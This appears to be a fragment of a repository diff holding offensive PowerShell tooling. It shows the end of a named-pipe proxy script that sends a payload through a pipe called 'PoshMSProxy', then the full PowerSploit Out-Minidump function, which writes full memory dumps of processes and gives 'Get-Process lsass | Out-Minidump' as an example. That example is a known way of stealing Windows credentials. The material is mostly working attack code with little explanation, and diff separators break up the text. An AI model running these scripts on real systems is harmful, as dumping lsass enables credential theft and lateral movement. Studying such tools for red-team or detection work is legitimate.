$Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName,"InOut",100, "Byte", "None", 1024, 1024, $PipeSecurity)
|
||||
$pipe.WaitForConnection();
|
||||
|
||||
$pipeReader = new-object System.IO.StreamReader($pipe)
|
||||
$pipeWriter = new-object System.IO.StreamWriter($pipe)
|
||||
$pipeWriter.AutoFlush = $true
|
||||
$pipeWriter.WriteLine($Payload);
|
||||
|
||||
$pipeReader.Dispose();
|
||||
$pipe.Dispose();
|
||||
}
|
||||
exit
|
||||
}
|
||||
add-Type -assembly "System.Core"
|
||||
|
||||
$MaxThreads = 5
|
||||
$RunspacePool = [RunspaceFactory]::CreateRunspacePool(1, $MaxThreads)
|
||||
$RunspacePool.Open()
|
||||
$Jobs = @()
|
||||
$Job = [powershell]::Create().AddScript($ScriptBlock).AddArgument($proxypayload)
|
||||
$Job.RunspacePool = $RunspacePool
|
||||
$Job.BeginInvoke() | Out-Null
|
||||
|
||||
$pi = new-object System.IO.Pipes.NamedPipeClientStream(".", "PoshMSProxy");
|
||||
|
||||
|
|
@ -0,0 +1,130 @@
|
|||
function Out-Minidump
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Generates a full-memory minidump of a process.
|
||||
|
||||
PowerSploit Function: Out-Minidump
|
||||
Author: Matthew Graeber (@mattifestation)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Out-Minidump writes a process dump file with all process memory to disk.
|
||||
This is similar to running procdump.exe with the '-ma' switch.
|
||||
|
||||
.PARAMETER Process
|
||||
|
||||
Specifies the process for which a dump will be generated. The process object
|
||||
is obtained with Get-Process.
|
||||
|
||||
.PARAMETER DumpFilePath
|
||||
|
||||
Specifies the path where dump files will be written. By default, dump files
|
||||
are written to the current working directory. Dump file names take following
|
||||
form: processname_id.dmp
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Out-Minidump -Process (Get-Process -Id 4293)
|
||||
|
||||
Description
|
||||
-----------
|
||||
Generate a minidump for process ID 4293.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-Process lsass | Out-Minidump
|
||||
|
||||
Description
|
||||
-----------
|
||||
Generate a minidump for the lsass process. Note: To dump lsass, you must be
|
||||
running from an elevated prompt.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-Process | Out-Minidump -DumpFilePath C:\temp
|
||||
|
||||
Description
|
||||
-----------
|
||||
Generate a minidump of all running processes and save them to C:\temp.
|
||||
|
||||
.INPUTS
|
||||
|
||||
System.Diagnostics.Process
|
||||
|
||||
You can pipe a process object to Out-Minidump.
|
||||
|
||||
.OUTPUTS
|
||||
|
||||
System.IO.FileInfo
|
||||
|
||||
.LINK
|
||||
|
||||
http://www.exploit-monday.com/
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)]
|
||||
[System.Diagnostics.Process]
|
||||
$Process,
|
||||
|
||||
[Parameter(Position = 1)]
|
||||
[ValidateScript({ Test-Path $_ })]
|
||||
[String]
|
||||
$DumpFilePath = $PWD
|
||||
)
|
||||
|
||||
BEGIN
|
||||
{
|
||||
$WER = [PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting')
|
||||
$WERNativeMethods = $WER.GetNestedType('NativeMethods', 'NonPublic')
|
||||
$Flags = [Reflection.BindingFlags] 'NonPublic, Static'
|
||||
$MiniDumpWriteDump = $WERNativeMethods.GetMethod('MiniDumpWriteDump', $Flags)
|
||||
$MiniDumpWithFullMemory = [UInt32] 2
|
||||
}
|
||||
|
||||
PROCESS
|
||||
{
|
||||
$ProcessId = $Process.Id
|
||||
$ProcessName = $Process.Name
|
||||
$ProcessHandle = $Process.Handle
|
||||
$ProcessFileName = "$($ProcessName)_$($ProcessId).dmp"
|
||||
|
||||
$ProcessDumpPath = Join-Path $DumpFilePath $ProcessFileName
|
||||
|
||||
$FileStream = New-Object IO.FileStream($ProcessDumpPath, [IO.FileMode]::Create)
|
||||
|
||||
$Result = $MiniDumpWriteDump.Invoke($null, @($ProcessHandle,
|
||||
$ProcessId,
|
||||
$FileStream.SafeFileHandle,
|
||||
$MiniDumpWithFullMemory,
|
||||
[IntPtr]::Zero,
|
||||
[IntPtr]::Zero,
|
||||
[IntPtr]::Zero))
|
||||
|
||||
$FileStream.Close()
|
||||
|
||||
if (-not $Result)
|
||||
{
|
||||
$Exception = New-Object ComponentModel.Win32Exception
|
||||
$ExceptionMessage = "$($Exception.Message) ($($ProcessName):$($ProcessId))"
|
||||
|
||||
# Remove any partially written dump files. For example, a partial dump will be written
|
||||
# in the case when 32-bit PowerShell tries to dump a 64-bit process.
|
||||
Remove-Item $ProcessDumpPath -ErrorAction SilentlyContinue
|
||||
|
||||
throw $ExceptionMessage
|
||||
}
|
||||
else
|
||||
{
|
||||
Get-ChildItem $ProcessDumpPath
|
||||
}
|
||||
}
|
||||
|
||||
END {}
|
||||
}
|